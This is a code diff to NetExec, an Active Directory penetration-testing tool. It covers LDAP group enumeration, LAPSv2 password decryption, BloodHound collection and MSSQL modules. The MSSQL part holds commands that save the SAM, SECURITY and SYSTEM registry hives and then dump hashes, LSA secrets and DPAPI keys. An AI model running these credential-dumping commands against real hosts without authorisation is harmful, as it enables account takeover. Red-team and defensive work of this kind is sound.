+            # Resolve group DN and primaryGroupID (objectSid) and member attribute
+            group_resp = self.search(f"(&(cn={self.args.groups})(objectClass=group))", ["distinguishedName", "objectSid", "member"])
             group_parsed = parse_result_attributes(group_resp)
 
             if not group_parsed:
@@ -757,29 +795,63 @@ class ldap(connection):
                 return
             else:
                 group = group_parsed[0]
+                direct_group_members = group.get("member", [])
+                if not isinstance(direct_group_members, list):
+                    direct_group_members = [direct_group_members]
 
-            # Search filter: user must have membership OR primaryGroupID
+            # Get all group members: user must have membership OR primaryGroupID
             search_filter = f"(|(memberOf={group['distinguishedName']})(primaryGroupID={group['objectSid'].split('-')[-1]}))"
             attributes = ["sAMAccountName", "distinguishedName", "cn", "objectClass"]
+            resp = self.search(search_filter, attributes)
+            group_members = parse_result_attributes(resp)
+            self.logger.debug(f"Total of records returned {len(group_members)}")
 
-        else:
-            search_filter = "(objectCategory=group)"
-            attributes = ["cn", "member", "description"]
+            # Resolve any missing group members that the memberOf/primaryGroupID search above didn't already return
+            if len(group_members) < len(direct_group_members):
+                for member_dn in direct_group_members:
+                    member_resp = self.search(f"(distinguishedName={member_dn})", ["sAMAccountName", "distinguishedName", "cn", "objectClass"])
+                    member_parsed = parse_result_attributes(member_resp)
 
-        resp = self.search(search_filter, attributes)
-        resp_parsed = parse_result_attributes(resp)
-        self.logger.debug(f"Total of records returned {len(resp_parsed)}")
+                    if member_parsed:
+                        group_members.append(member_parsed[0])
+                    else:
+                        self.logger.debug(f"Failed to resolve group member DN '{member_dn}' for group '{self.args.groups}'")
+                        group_members.append({"distinguishedName": member_dn})
+
+            # Deduplicate group members by distinguishedName or cn
+            deduped = {}
+            for item in group_members:
+                key = item.get("distinguishedName", item.get("cn", "")).lower()
+                deduped.setdefault(key, item)
+            resp_parsed = list(deduped.values())
 
-        if self.args.groups:
             # Display group members
             if not resp_parsed:
                 self.logger.fail(f"Group '{self.args.groups}' has no members")
             else:
                 for item in resp_parsed:
-                    # Display sAMAccountName or CN if sAMAccountName not present (could be a group)
-                    # Fallback to cn should sAMAccountName not be present (e.g. Service Principal Names)
-                    self.logger.highlight(item.get("sAMAccountName", item["cn"]) if "group" not in item["objectClass"] else item["cn"])
+                    # Display cn if it is a group
+                    # Otherwise display sAMAccountName and fall back to cn if sAMAccountName is not present
+                    # If nothing is present, display Distinguished Name
+                    if "group" in item.get("objectClass", []):
+                        out = item["cn"]
+                    elif "sAMAccountName" in item:
+                        out = item["sAMAccountName"]
+                    elif "cn" in item:
+                        out = item["cn"]
+                    else:
+                        out = item["distinguishedName"]
+                    self.logger.highlight(out)
+
+        # List all groups
         else:
+            search_filter = "(objectCategory=group)"
+            attributes = ["cn", "member", "description"]
+
+            resp = self.search(search_filter, attributes)
+            resp_parsed = parse_result_attributes(resp)
+            self.logger.debug(f"Total of records returned {len(resp_parsed)}")
+
             # Display all groups
             self.logger.highlight(f"{'-Group-':<40} {'-Members-':<9} {'-Description-':<60}")
             for item in resp_parsed:
@@ -897,8 +969,7 @@ class ldap(connection):
         resp_parse = parse_result_attributes(resp)
         for item in resp_parse:
             if "dNSHostName" in item:  # Get dNSHostName attribute
-                name = item["dNSHostName"]
-                resolve_and_display_hostname(name)
+                resolve_and_display_hostname(item["dNSHostName"])
 
         # Find all trusted domains
         self.logger.info("Enumerating Trusted Domains...")
@@ -1182,28 +1253,27 @@ class ldap(connection):
         self.logger.debug(f"Querying LDAP server with filter: {search_filter} and attributes: {attributes}")
         try:
             resp = self.search(search_filter, attributes, 0)
-            resp_parsed = parse_result_attributes(resp)
         except LDAPFilterSyntaxError as e:
             self.logger.fail(f"LDAP Filter Syntax Error: {e}")
             return
-        for idx, entry in enumerate(resp_parsed):
-            if not isinstance(resp[idx], ldapasn1_impacket.SearchResultEntry):
-                idx += 1  # Skip non-entry responses
-            self.logger.success(f"Response for object: {resp[idx]['objectName']}")
-            for attribute in entry:
-                if isinstance(entry[attribute], list) and entry[attribute]:
+        # A search response also holds SearchResultReference objects, which carry no attributes and must not be indexed like an entry.
+        entries = [item for item in resp if isinstance(item, ldapasn1_impacket.SearchResultEntry)]
+        for entry, attribute_map in zip(entries, parse_result_attributes(entries), strict=True):
+            self.logger.success(f"Response for object: {entry['objectName']}")
+            for attribute, value in attribute_map.items():
+                if isinstance(value, list) and value:
                     # Display first item in the same line as attribute
-                    self.logger.highlight(f"{attribute:<20} {entry[attribute].pop(0)}")
-                    for item in entry[attribute]:
+                    self.logger.highlight(f"{attribute:<20} {value.pop(0)}")
+                    for item in value:
                         self.logger.highlight(f"{'':<20} {item}")
                 else:
-                    self.logger.highlight(f"{attribute:<20} {entry[attribute]}")
+                    self.logger.highlight(f"{attribute:<20} {value}")
 
     def find_delegation(self):
         def printTable(items, header):
             colLen = []
 
-            # Calculating maximum lenght before parsing CN.
+            # Calculating maximum length before parsing CN.
             for i, col in enumerate(header):
                 rowMaxLen = max(len(row[1].split(",")[0].split("CN=")[-1]) for row in items) if i == 1 else max(len(str(row[i])) for row in items)
                 colLen.append(max(rowMaxLen, len(col)))
@@ -1467,12 +1537,12 @@ class ldap(connection):
         Get the Fine Grained Password Policy/PSOs
         Initial FGPP/PSO script written by @n00py: https://github.com/n00py/GetFGPP
         """
-        # Convert LDAP time to human readable format
+        # Convert LDAP time (100ns intervals) to human readable format
         def pso_days(ldap_time):
-            return f"{rd(seconds=int(abs(int(ldap_time)) / 10000000)).days} days"
+            return f"{abs(int(ldap_time)) // 864000000000} days"
 
         def pso_mins(ldap_time):
-            return f"{rd(seconds=int(abs(int(ldap_time)) / 10000000)).minutes} minutes"
+            return f"{abs(int(ldap_time)) // 600000000} minutes"
 
         # Are there even any FGPPs?
         self.logger.info("Attempting to enumerate policies...")
@@ -1689,6 +1759,7 @@ class ldap(connection):
                 aeskey=self.aesKey,
                 kdc=self.kdcHost,
                 auth_method="auto",
+                ldap_channel_binding=self.cbt_status == "Always"
             )
             ad = AD(
                 auth=auth,
@@ -1708,7 +1779,7 @@ class ldap(connection):
             if self.args.kerberos:
                 self.logger.highlight("Using kerberos auth without ccache, getting TGT")
                 auth.get_tgt()
-            if self.args.use_kcache:
+            if self.use_kcache:
                 self.logger.highlight("Using kerberos auth from ccache")
                 auth.load_ccache()
 
@@ -1727,9 +1798,13 @@ class ldap(connection):
                     exclude_dcs=False,
                 )
             except Exception as e:
-                self.logger.fail(f"BloodHound collection failed: {e.__class__.__name__} - {e}")
-                self.logger.debug(f"BloodHound collection failed: {e.__class__.__name__} - {e}", exc_info=True)
-                return
+                if "ldap3-bleeding-edge" in str(e):
+                    self.logger.fail("Bloodhound collection failed due to channel binding requirements. Inject 'ldap3-bleeding-edge': pipx inject netexec ldap3-bleeding-edge")
+                    return
+                else:
+                    self.logger.fail(f"BloodHound collection failed: {e.__class__.__name__} - {e}")
+                    self.logger.debug(f"BloodHound collection failed: {e.__class__.__name__} - {e}", exc_info=True)
+                    return
 
         # Collect ADCS data using CertiHound if requested
         if "adcs" in collect:

nxc/protocols/ldap/constants.py

@@ -0,0 +1,124 @@
+from impacket.ldap.ldaptypes import ACCESS_MASK
+
+# https://learn.microsoft.com/en-us/windows/win32/secauthz/well-known-sids
+# https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-dtyp/81d92bba-d22b-4a8c-908a-554ab29148ab?source=recommendations
+WELL_KNOWN_SIDS = {
+    "S-1-0": "Null Authority",
+    "S-1-0-0": "Nobody",
+    "S-1-1": "World Authority",
+    "S-1-1-0": "Everyone",
+    "S-1-2": "Local Authority",
+    "S-1-2-0": "Local",
+    "S-1-2-1": "Console Logon",
+    "S-1-3": "Creator Authority",
+    "S-1-3-0": "Creator Owner",
+    "S-1-3-1": "Creator Group",
+    "S-1-3-2": "Creator Owner Server",
+    "S-1-3-3": "Creator Group Server",
+    "S-1-3-4": "Owner Rights",
+    "S-1-4": "Non-unique Authority",
+    "S-1-5": "NT Authority",
+    "S-1-5-1": "Dialup",
+    "S-1-5-2": "Network",
+    "S-1-5-3": "Batch",
+    "S-1-5-4": "Interactive",
+    "S-1-5-6": "Service",
+    "S-1-5-7": "Anonymous",
+    "S-1-5-8": "Proxy",
+    "S-1-5-9": "Enterprise Domain Controllers",
+    "S-1-5-10": "Principal Self",
+    "S-1-5-11": "Authenticated Users",
+    "S-1-5-12": "Restricted Code",
+    "S-1-5-13": "Terminal Server Users",
+    "S-1-5-14": "Remote Interactive Logon",
+    "S-1-5-15": "This Organization",
+    "S-1-5-17": "This Organization",
+    "S-1-5-18": "Local System",
+    "S-1-5-19": "NT Authority",
+    "S-1-5-20": "NT Authority",
+    "S-1-5-21-0-0-0-496": "Compounded Authentication",  # https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-dtyp/11e1608c-6169-4fbc-9c33-373fc9b224f4#Appendix_A_13
+    "S-1-5-21-0-0-0-497": "Claims Valid",  # https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-dtyp/11e1608c-6169-4fbc-9c33-373fc9b224f4#Appendix_A_14
+    "S-1-5-32-544": "Administrators",
+    "S-1-5-32-545": "Users",
+    "S-1-5-32-546": "Guests",
+    "S-1-5-32-547": "Power Users",
+    "S-1-5-32-548": "Account Operators",
+    "S-1-5-32-549": "Server Operators",
+    "S-1-5-32-550": "Print Operators",
+    "S-1-5-32-551": "Backup Operators",
+    "S-1-5-32-552": "Replicators",
+    "S-1-5-32-553": "RAS and IAS Servers",
+    "S-1-5-32-554": r"BUILTIN\Pre-Windows 2000 Compatible Access",
+    "S-1-5-32-555": r"BUILTIN\Remote Desktop Users",
+    "S-1-5-32-557": r"BUILTIN\Incoming Forest Trust Builders",
+    "S-1-5-32-556": r"BUILTIN\Network Configuration Operators",
+    "S-1-5-32-558": r"BUILTIN\Performance Monitor Users",
+    "S-1-5-32-559": r"BUILTIN\Performance Log Users",
+    "S-1-5-32-560": r"BUILTIN\Windows Authorization Access Group",
+    "S-1-5-32-561": r"BUILTIN\Terminal Server License Servers",
+    "S-1-5-32-562": r"BUILTIN\Distributed COM Users",
+    "S-1-5-32-568": r"BUILTIN\DCOM Users",
+    "S-1-5-32-569": r"BUILTIN\Cryptographic Operators",
+    "S-1-5-32-571": r"BUILTIN\Cacheable Principals",
+    "S-1-5-32-572": r"BUILTIN\Non-Cacheable Principals",
+    "S-1-5-32-573": r"BUILTIN\Event Log Readers",
+    "S-1-5-32-574": r"BUILTIN\Certificate Service DCOM Access",
+    "S-1-5-32-575": r"BUILTIN\RDS Remote Access Servers",
+    "S-1-5-32-576": r"BUILTIN\RDS Endpoint Servers",
+    "S-1-5-32-577": r"BUILTIN\RDS Management Servers",
+    "S-1-5-32-578": r"BUILTIN\Hyper-V Administrators",
+    "S-1-5-32-579": r"BUILTIN\Access Control Assistance Operators",
+    "S-1-5-32-580": r"BUILTIN\Remote Management Users",
+    "S-1-5-32-581": r"BUILTIN\Default Account",
+    "S-1-5-32-582": r"BUILTIN\Storage Replica Administrators",
+    "S-1-5-32-583": r"BUILTIN\Device Owners",
+    "S-1-5-32-584": r"BUILTIN\User Mode Hardware Operators",
+    "S-1-5-32-585": r"BUILTIN\OpenSSH Users",
+    "S-1-5-33": "Write Restricted Code",
+    "S-1-5-64-10": "NTLM Authentication",
+    "S-1-5-64-14": "SChannel Authentication",
+    "S-1-5-64-21": "Digest Authority",
+    "S-1-5-65-1": "This Organization Certificate",  # see https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-pac/39f588d6-21e3-4e09-a9f2-d8f7b9b998bf
+    "S-1-5-80": "NT Service",
+    "S-1-5-80-0": "All Services",
+    "S-1-5-83-0": r"NT VIRTUAL MACHINE\Virtual Machines",
+    "S-1-5-84-0-0-0-0-0": "User Mode Drivers",
+    "S-1-5-1000": "Other Organization",
+    "S-1-16-0": "Untrusted Mandatory Level",
+    "S-1-16-4096": "Low Mandatory Level",
+    "S-1-16-8192": "Medium Mandatory Level",
+    "S-1-16-8448": "Medium Plus Mandatory Level",
+    "S-1-16-12288": "High Mandatory Level",
+    "S-1-16-16384": "System Mandatory Level",
+    "S-1-16-20480": "Protected Process Mandatory Level",
+    "S-1-16-28672": "Secure Process Mandatory Level",
+    "S-1-18-1": "Authentication Authority Asserted Identity",
+    "S-1-18-2": "Service Asserted Identity",
+    "S-1-18-3": "Fresh public key identity",
+    "S-1-18-5": "MFA Key Property",
+    "S-1-18-6": "Attested Key Property",
+}
+
+ACCESS_MASK_TO_TEXT_LOOKUP = {
+    ACCESS_MASK.GENERIC_READ: "GENERIC_READ",
+    ACCESS_MASK.GENERIC_WRITE: "GENERIC_WRITE",
+    ACCESS_MASK.GENERIC_EXECUTE: "GENERIC_EXECUTE",
+    ACCESS_MASK.GENERIC_ALL: "GENERIC_ALL",
+    ACCESS_MASK.MAXIMUM_ALLOWED: "MAXIMUM_ALLOWED",
+    ACCESS_MASK.ACCESS_SYSTEM_SECURITY: "ACCESS_SYSTEM_SECURITY",
+    ACCESS_MASK.SYNCHRONIZE: "SYNCHRONIZE",
+    ACCESS_MASK.WRITE_OWNER: "WRITE_OWNER",
+    ACCESS_MASK.WRITE_DACL: "WRITE_DACL",
+    ACCESS_MASK.READ_CONTROL: "READ_CONTROL",
+    ACCESS_MASK.DELETE: "DELETE",
+    # file system rights
+    0x00000001: "FILE_READ_DATA",
+    0x00000002: "FILE_WRITE_DATA",
+    0x00000004: "FILE_APPEND_DATA",
+    0x00000008: "FILE_READ_EA",
+    0x00000010: "FILE_WRITE_EA",
+    0x00000020: "FILE_EXECUTE",
+    0x00000040: "FILE_DELETE_CHILD",
+    0x00000080: "FILE_READ_ATTRIBUTES",
+    0x00000100: "FILE_WRITE_ATTRIBUTES"
+}

nxc/protocols/ldap/kerberos.py

@@ -167,7 +167,7 @@ class KerberosAttacks:
                 if e.errno == 113:
                     self.logger.fail(f"Unable to resolve KDC hostname: {e!s}")
                 else:
-                    self.logger.fail(f"Some other OSError occured: {e!s}")
+                    self.logger.fail(f"Some other OSError occurred: {e!s}")
                 return None
             except Exception as e:
                 self.logger.debug(f"TGT: {e!s}")

nxc/protocols/ldap/laps.py

@@ -7,7 +7,7 @@ from impacket.krb5.kerberosv5 import KerberosError
 from impacket.dcerpc.v5 import transport
 from impacket.dcerpc.v5.epm import hept_map
 from impacket.dcerpc.v5.gkdi import MSRPC_UUID_GKDI, GkdiGetKey, GroupKeyEnvelope
-from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_INTEGRITY, RPC_C_AUTHN_LEVEL_PKT_PRIVACY
+from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE, RPC_C_AUTHN_LEVEL_PKT_PRIVACY
 from impacket.dpapi_ng import EncryptedPasswordBlob, KeyIdentifier, compute_kek, create_sd, decrypt_plaintext, unwrap_cek
 
 from nxc.logger import NXCAdapter
@@ -169,7 +169,7 @@ class LDAPConnect:
 
 
 class LAPSv2Extract:
-    def __init__(self, data, username, password, domain, ntlm_hash, do_kerberos, kdcHost, port, dns_server):
+    def __init__(self, data, username, password, domain, ntlm_hash, do_kerberos, kdcHost, port, dns_server, rpc_host=None, rpc_name=None, aesKey=""):
         if ntlm_hash.find(":") != -1:
             self.lmhash, self.nthash = ntlm_hash.split(":")
         else:
@@ -182,8 +182,11 @@ class LAPSv2Extract:
         self.domain = domain
         self.do_kerberos = do_kerberos
         self.kdcHost = kdcHost
+        self.aesKey = aesKey
         self.logger = None
         self.dns_server = dns_server
+        self.rpc_host = rpc_host or (dns_server if dns_server else domain)
+        self.rpc_name = rpc_name or domain
         self.proto_logger(self.domain, port, self.domain)
 
     def proto_logger(self, host, port, hostname):
@@ -215,29 +218,30 @@ class LAPSv2Extract:
             gke = kds_cache[key_id["RootKeyId"]]
         else:
             # Connect on RPC over TCP to MS-GKDI to call opnum 0 GetKey
-            string_binding = hept_map(destHost=self.domain if not self.dns_server else self.dns_server, remoteIf=MSRPC_UUID_GKDI, protocol="ncacn_ip_tcp")
+            string_binding = hept_map(destHost=self.rpc_host, remoteIf=MSRPC_UUID_GKDI, protocol="ncacn_ip_tcp")
             rpc_transport = transport.DCERPCTransportFactory(string_binding)
-            if hasattr(rpc_transport, "set_credentials"):
-                rpc_transport.set_credentials(username=self.username, password=self.password, domain=self.domain, lmhash=self.lmhash, nthash=self.nthash)
+            rpc_transport.setRemoteName(self.rpc_name)
+            rpc_transport.set_credentials(username=self.username, password=self.password, domain=self.domain, lmhash=self.lmhash, nthash=self.nthash, aesKey=self.aesKey)
             if self.do_kerberos:
                 self.logger.info("Connecting using kerberos")
                 rpc_transport.set_kerberos(self.do_kerberos, kdcHost=self.kdcHost)
 
             dce = rpc_transport.get_dce_rpc()
-            dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_INTEGRITY)
             dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
+            if self.do_kerberos:
+                dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
             self.logger.info(f"Connecting to {string_binding}")
             try:
                 dce.connect()
             except Exception as e:
                 self.logger.error(f"Something went wrong, check error status => {e}")
-                return False
+                return None
             self.logger.info("Connected")
             try:
                 dce.bind(MSRPC_UUID_GKDI)
             except Exception as e:
                 self.logger.error(f"Something went wrong, check error status => {e!s}")
-                return False
+                return None
             self.logger.info("Successfully bound")
             self.logger.info("Calling MS-GKDI GetKey")
 
@@ -248,15 +252,12 @@ class LAPSv2Extract:
             kds_cache[gke["RootKeyId"]] = gke
 
         kek = compute_kek(gke, key_id)
-        self.logger.info(f"KEK:\t{kek}")
         enc_content_parameter = bytes(parsed_enveloped_data["encryptedContentInfo"]["contentEncryptionAlgorithm"]["parameters"])
         iv, _ = decoder.decode(enc_content_parameter)
         iv = bytes(iv[0])
 
         cek = unwrap_cek(kek, bytes(kek_recipient_info["encryptedKey"]))
-        self.logger.info(f"CEK:\t{cek}")
         plaintext = decrypt_plaintext(cek, iv, remaining)
-        self.logger.info(plaintext[:-18].decode("utf-16le"))
         return plaintext[:-18].decode("utf-16le")
 
 
@@ -325,13 +326,19 @@ def laps_search(self, username, password, cred_type, domain, dns_server):
                     self.kerberos,
                     self.kdcHost,
                     339,
-                    dns_server
+                    dns_server,
+                    self.kdcHost,
+                    self.kdcHost,
+                    self.aesKey,
                 )
                 try:
                     data = d.run()
                 except Exception as e:
                     self.logger.fail(str(e))
                     return None, None, None
+                if not data:
+                    self.logger.fail(f"Failed to decrypt msLAPS-EncryptedPassword for {self.hostname}")
+                    return None, None, None
                 r = loads(data)
                 msMCSAdmPwd = r["p"]
                 username_laps = r["n"]

nxc/protocols/ldap/proto_args.py

@@ -10,6 +10,7 @@ def proto_args(parser, parents):
     ldap_parser.add_argument("--port", type=int, default=389, action=DefaultTrackingAction, help="LDAP port")
     ldap_parser.add_argument("--ldap-timeout", type=int, default=3, help="LDAP connection timeout")
     ldap_parser.add_argument("-d", metavar="DOMAIN", dest="domain", type=str, default=None, help="domain to authenticate to")
+    ldap_parser.add_argument("--schannel", action="store_true", help="Authenticate with the certificate using Schannel instead of PKINIT")
 
     egroup = ldap_parser.add_argument_group("Retrieve hash on the remote DC", "Options to get hashes from Kerberos")
     egroup.add_argument("--asreproast", help="Output AS_REP response to crack with hashcat to file")

nxc/protocols/ldap/resolution.py

@@ -5,6 +5,7 @@ from OpenSSL.SSL import SysCallError
 from impacket.ldap import ldap as ldap_impacket
 from impacket.ldap import ldapasn1 as ldapasn1_impacket
 
+from nxc.helpers.misc import sanitize_dns
 from nxc.parsers.ldap_results import parse_result_attributes
 from nxc.logger import nxc_logger
 
@@ -18,6 +19,7 @@ class LDAPResolution:
         target = ""
         target_domain = ""
         base_dn = ""
+        machine_name = ""
         try:
             ldap_url = f"ldap://{self.host}"
             nxc_logger.info(f"Connecting to {ldap_url} with no baseDN")
@@ -60,5 +62,8 @@ class LDAPResolution:
             else:
                 nxc_logger.error(f"Error getting ldap info {e}")
 
+        machine_name = sanitize_dns(machine_name, nxc_logger).upper()
+        target_domain = sanitize_dns(target_domain, nxc_logger)
+        target = sanitize_dns(target, nxc_logger)
         nxc_logger.debug(f"Target: {machine_name}.{target_domain}; target_domain: {target_domain}; base_dn: {base_dn}")
-        return machine_name, target_domain
+        return machine_name, target_domain, target

nxc/protocols/mssql.py

@@ -1,18 +1,22 @@
 import os
 import random
 import contextlib
+import binascii
 from termcolor import colored
 
 from nxc.config import process_secret, host_info_colors
 from nxc.connection import connection
 from nxc.connection import requires_admin
-from nxc.helpers.misc import gen_random_string
+from nxc.helpers.misc import gen_random_string, sanitize_dns
 from nxc.logger import NXCAdapter
 from nxc.helpers.bloodhound import add_user_bh
 from nxc.helpers.negotiate_parser import parse_challenge, login7_integrated_auth_error_message
 from nxc.helpers.powershell import create_ps_command
+from nxc.helpers.dpapi import DPAPITriage
 from nxc.protocols.mssql.mssqlexec import MSSQLEXEC
 
+from dploot.lib.network.mssql import MSSQLTarget as Target
+
 from impacket import tds, ntlm
 from impacket.krb5.ccache import CCache
 from impacket.dcerpc.v5.dtypes import SID
@@ -44,6 +48,13 @@ class mssql(connection):
         self.lmhash = ""
         self.nthash = ""
         self.no_ntlm = False
+        self.encryption = None
+        self.edition = ""
+        self.version = ""
+        self.dpapi_system_key = None
+        self.no_da = None
+
+        self._dpapi_triage = None
 
         connection.__init__(self, args, db, host)
 
@@ -142,10 +153,15 @@ class mssql(connection):
             self.logger.info(f"Failed to receive NTLM challenge, reason: {e!s}")
             return False
         else:
+            self.remoteName = self.host
             if challenge.startswith(b"NTLMSSP\x00"):
                 ntlm_info = parse_challenge(challenge)
-                self.targetDomain = self.domain = ntlm_info["domain"]
-                self.hostname = ntlm_info["hostname"]
+                dns_hostname = ntlm_info["dns_hostname"] or ""
+                hostname = ntlm_info["hostname"] or dns_hostname.split(".", 1)[0] or self.host
+                domain = ntlm_info["domain"] or (dns_hostname.split(".", 1)[1] if "." in dns_hostname else self.host)
+                self.hostname = sanitize_dns(hostname, self.logger)
+                self.targetDomain = self.domain = sanitize_dns(domain, self.logger)
+                self.remoteName = sanitize_dns(dns_hostname, self.logger) if self.kerberos else self.host
                 self.server_os = ntlm_info["os_version"]
                 self.logger.extra["hostname"] = self.hostname
             else:
@@ -161,8 +177,6 @@ class mssql(connection):
         if self.args.local_auth:
             self.domain = self.hostname
 
-        self.remoteName = self.host if not self.kerberos else f"{self.hostname}.{self.domain}"
-
         if not self.kdcHost and self.domain:
             result = self.resolver(self.domain)
             self.kdcHost = result["host"] if result else None
@@ -306,6 +320,7 @@ class mssql(connection):
                 self.logger.fail(self.conn.lastError)
             else:
                 for data in raw_output:
+                    self.logger.highlight("--------------------")
                     for key, value in data.items():
                         if key:
                             self.logger.highlight(f"{key}:{value}")
@@ -490,68 +505,65 @@ class mssql(connection):
         return "[" + str(ident).replace("]", "]]") + "]"
 
     def list_databases(self):
-        try:
-            q = (
-                "SELECT d.name AS DatabaseName, "
-                "       suser_sname(d.owner_sid) AS Owner "
-                "FROM sys.databases d "
-                "ORDER BY d.name;"
-            )
-            rows = self.conn.sql_query(q) or []
-            if not rows:
-                self.logger.display("No databases returned")
-                return
+        query = """
+        SELECT d.name AS DatabaseName, suser_sname(d.owner_sid) AS Owner
+        FROM sys.databases d
+        ORDER BY d.name;
+        """
+        rows = self.conn.sql_query(query)
+        if self.conn.lastError:
+            self.logger.fail(f"Error running the SQL query: {self.conn.lastError}")
+        if not rows:
+            self.logger.display("No databases returned")
+            return
 
-            self.logger.display("Enumerated databases")
-            self.logger.highlight(f"{'Database Name':<30} {'Owner':<25}")
-            self.logger.highlight(f"{'-' * 30} {'-' * 25}")
-            for r in rows:
-                self.logger.highlight(f"{r.get('DatabaseName', ''):<30} {r.get('Owner', ''):<25}")
-            self.logger.highlight(f"Total: {len(rows)} database(s)")
-        except Exception as e:
-            self.logger.fail(f"Failed to enumerate databases: {e}")
-            self.logger.debug("list_databases error", exc_info=True)
+        self.logger.display("Enumerated databases")
+        self.logger.highlight(f"{'Database Name':<30} {'Owner':<25}")
+        self.logger.highlight(f"{'-' * 30} {'-' * 25}")
+        for row in rows:
+            database_name = row.get("DatabaseName", "")
+            owner = row.get("Owner", "")
+            self.logger.highlight(f"{database_name:<30} {owner:<25}")
+        self.logger.highlight(f"Total: {len(rows)} database(s)")
 
     def database(self):
-        db_arg = self.args.database
-
         # nxc --database (no value) -> list
-        if db_arg is True or db_arg is None:
+        if self.args.database is True:
             self.list_databases()
             return
 
         # nxc --database <name> -> tables
-        if isinstance(db_arg, str):
-            try:
-                safe = db_arg.replace("'", "''")
-                exists = self.conn.sql_query(f"SELECT 1 FROM sys.databases WHERE name = N'{safe}';")
-                if not exists:
-                    self.logger.fail(f"Database [{db_arg}] does not exist on the server.")
-                    return
-
-                tq = (
-                    f"SELECT t.name AS TableName, t.modify_date "
-                    f"FROM {self._qname(db_arg)}.sys.tables t "
-                    f"ORDER BY t.name;"
-                )
-                rows = self.conn.sql_query(tq) or []
-            except Exception as e:
-                self.logger.fail(f"Insufficient permissions or query error in [{db_arg}]: {e}")
-                self.logger.debug("database() error", exc_info=True)
+        if isinstance(self.args.database, str):
+            safe = self.args.database.replace("'", "''")
+            exists = self.conn.sql_query(f"SELECT 1 FROM sys.databases WHERE name = N'{safe}';")
+            if self.conn.lastError:
+                self.logger.fail(f"Error running the SQL query: {self.conn.lastError}")
+            if not exists:
+                self.logger.fail(f"Database [{self.args.database}] does not exist on the server.")
                 return
 
+            query = f"""
+                SELECT t.name AS TableName, t.modify_date
+                FROM {self._qname(self.args.database)}.sys.tables t
+                ORDER BY t.name;
+            """
+            rows = self.conn.sql_query(query)
+
+            if self.conn.lastError:
+                self.logger.fail(f"Error running the SQL query: {self.conn.lastError}")
+
             if not rows:
-                self.logger.display(f"Database [{db_arg}] has no user tables.")
+                self.logger.display(f"Database [{self.args.database}] has no user tables.")
                 return
 
-            self.logger.display(f"Tables in database: {db_arg}")
+            self.logger.display(f"Tables in database: {self.args.database}")
             self.logger.highlight(f"{'Table Name':<50} {'Last Modified':<25}")
             self.logger.highlight(f"{'-' * 50} {'-' * 25}")
-            for r in rows:
-                mod = r.get("modify_date", "")
-                if mod and hasattr(mod, "strftime"):
-                    mod = mod.strftime("%Y-%m-%d %H:%M:%S")
-                self.logger.highlight(f"{r.get('TableName', ''):<50} {mod!s:<25}")
+            for row in rows:
+                modify_date = row.get("modify_date", "")
+                if modify_date and hasattr(modify_date, "strftime"):
+                    modify_date = modify_date.strftime("%Y-%m-%d %H:%M:%S")
+                self.logger.highlight(f"{row.get('TableName', ''):<50} {modify_date!s:<25}")
             self.logger.highlight(f"Total: {len(rows)} table(s)")
             return
 
@@ -560,7 +572,8 @@ class mssql(connection):
         sam_storename = gen_random_string(6)
         system_storename = gen_random_string(6)
         dump_command = f"reg save HKLM\\SAM C:\\windows\\temp\\{sam_storename} && reg save HKLM\\SYSTEM C:\\windows\\temp\\{system_storename}"
-        clean_command = f"del C:\\windows\\temp\\{sam_storename} && del C:\\windows\\temp\\{system_storename}"
+        # del must list C:\windows\temp, which the SQL service account may not be allowed to do; Remove-Item -LiteralPath does not need to
+        clean_command = f"powershell -NoProfile -Command Remove-Item -LiteralPath C:\\windows\\temp\\{sam_storename},C:\\windows\\temp\\{system_storename} -Force -ErrorAction SilentlyContinue"
         get_owner_command = f"icacls C:\\windows\\temp\\{sam_storename} /grant {self.username}:F && icacls C:\\windows\\temp\\{system_storename} /grant {self.username}:F"
         output_filename = self.output_file_template.format(output_folder="sam")
         try:
@@ -591,11 +604,12 @@ class mssql(connection):
             SAM.export(output_filename)
 
     @requires_admin
-    def lsa(self):
+    def lsa(self, quiet=False):
         security_storename = gen_random_string(6)
         system_storename = gen_random_string(6)
         dump_command = f"reg save HKLM\\SECURITY C:\\windows\\temp\\{security_storename} && reg save HKLM\\SYSTEM C:\\windows\\temp\\{system_storename}"
-        clean_command = f"del C:\\windows\\temp\\{security_storename} && del C:\\windows\\temp\\{system_storename}"
+        # del must list C:\windows\temp, which the SQL service account may not be allowed to do; Remove-Item -LiteralPath does not need to
+        clean_command = f"powershell -NoProfile -Command Remove-Item -LiteralPath C:\\windows\\temp\\{security_storename},C:\\windows\\temp\\{system_storename} -Force -ErrorAction SilentlyContinue"
         get_owner_command = f"icacls C:\\windows\\temp\\{security_storename} /grant {self.username}:F && icacls C:\\windows\\temp\\{system_storename} /grant {self.username}:F"
         output_filename = self.output_file_template.format(output_folder="lsa")
         try:
@@ -613,15 +627,128 @@ class mssql(connection):
                 or not (os.path.exists(f"{output_filename}.system") and os.path.getsize(f"{output_filename}.system") > 0):
                 self.logger.fail("SECURITY or SYSTEM hive could not be dumped, privs may not be sufficient.")
                 return
-            self.logger.display("Dumping LSA secrets")
+            if not quiet:
+                self.logger.display("Dumping LSA secrets")
             local_operations = LocalOperations(f"{output_filename}.system")
             boot_key = local_operations.getBootKey()
+
+            def lsa_secret_callback(_, secret):
+                if "dpapi_machinekey" not in secret:
+                    if not quiet:
+                        self.logger.highlight(secret)
+                else:
+                    correl_table = {"dpapi_machinekey": "MachineKey", "dpapi_userkey": "UserKey"}
+                    self.dpapi_system_key = {correl_table[k]: binascii.unhexlify(v[2:]) for k, v in (elem.split(":") for elem in secret.splitlines())}
+                    if not quiet:
+                        self.logger.highlight(f"dpapi_machinekey:{self.dpapi_system_key['MachineKey'].hex()}")
+                        self.logger.highlight(f"dpapi_userkey:{self.dpapi_system_key['UserKey'].hex()}")
             LSA = LSASecrets(
                 f"{output_filename}.security",
                 boot_key,
                 None,
                 isRemote=None,
-                perSecretCallback=lambda secret_type, secret: self.logger.highlight(secret),
+                perSecretCallback=lsa_secret_callback,
             )
             LSA.dumpCachedHashes()
             LSA.dumpSecrets()
+
+    @requires_admin
+    def dpapi(self):
